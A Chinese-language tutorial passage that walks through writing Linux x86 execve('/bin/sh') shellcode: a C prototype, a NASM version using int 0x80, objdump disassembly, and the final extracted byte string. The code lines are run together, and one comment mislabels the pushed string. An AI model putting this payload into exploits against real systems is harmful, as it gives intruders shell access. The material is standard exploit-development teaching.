继续更新
linux下shellcode的编写:
首先在windows下写过shellcode的童鞋都知道,linux下的编写方法也是一样的,就拿一个简单的生成新shell作为实例:
首先C语言的表达如下:
shellcode_execve.c
#includeint main(){ char *name[2]; name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL);}
编译:gcc shellcode_execve.c -o shellcode_execve
运行:./shellcode_execve
sh-4.1#
正常弹出一个shell,证明这个想法是可行的
首先函数execve的三个参数分别入栈
接着调用int x80中断的11号系统调用编号(即eax赋值为11)
写出shellcode_execve.asm
section .textglobal _start_start:xor eax,eaxpush eaxpush 0x68732f6e ;字符串/bash//shpush 0x69622f2f mov ebx,esppush eaxpush ebxmov ecx,espmov al,0xb ;0xb=11hint 0x80
编译:nasm -f elf shellcode_execve.asm
连接:ld -o shellcode_execve shellcode_execve.o
运行:./shellcode_execve
sh-4.1#
可以正常运行
接下来要提取出机器码来,用objdump
root@seaeast:~# objdump -d shellcode_execveshellcode_execve: file format elf32-i386Disassembly of section .text:08048060 <_start>:8048060: 31 c0 xor %eax,%eax8048062: 50 push %eax8048063: 68 6e 2f 73 68 push $0x68732f6e8048068: 68 2f 2f 62 69 push $0x69622f2f804806d: 89 e3 mov %esp,%ebx804806f: 50 push %eax8048070: 53 push %ebx8048071: 89 e1 mov %esp,%ecx8048073: b0 0b mov $0xb,%al8048075: cd 80 int $0x80
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"